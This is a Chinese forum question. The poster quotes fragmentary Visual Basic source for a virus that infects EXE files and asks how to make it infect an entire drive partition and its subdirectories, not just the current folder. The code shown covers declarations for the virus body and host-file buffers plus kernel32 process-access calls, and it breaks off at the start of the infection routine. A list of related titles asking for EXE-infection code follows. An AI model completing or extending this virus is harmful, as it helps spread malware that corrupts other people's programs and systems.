一个简单的vb 感染EXE代码的问题

这是一段我在网上看到的代码，我希望把感染当前目录改成感染某一分区（包括子目录）。请问该怎么做？问题比较菜，希望不要见笑.
Private Victim As String
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理

'原理：将生成病毒文

用vb感染全盘EXE代码 求一个简单的VB代码 VB中button的一个简单代码 求VB的一个简单代码 简单的VB代码 高手帮偶修改下vb感染exe文件的代码，谢谢！ 一个vb程序生成exe文件的代码 问一个关于VB的简单的代码 问一个VB的简单的代码,请回答~谢谢 急求:一个简单的VB编程代码!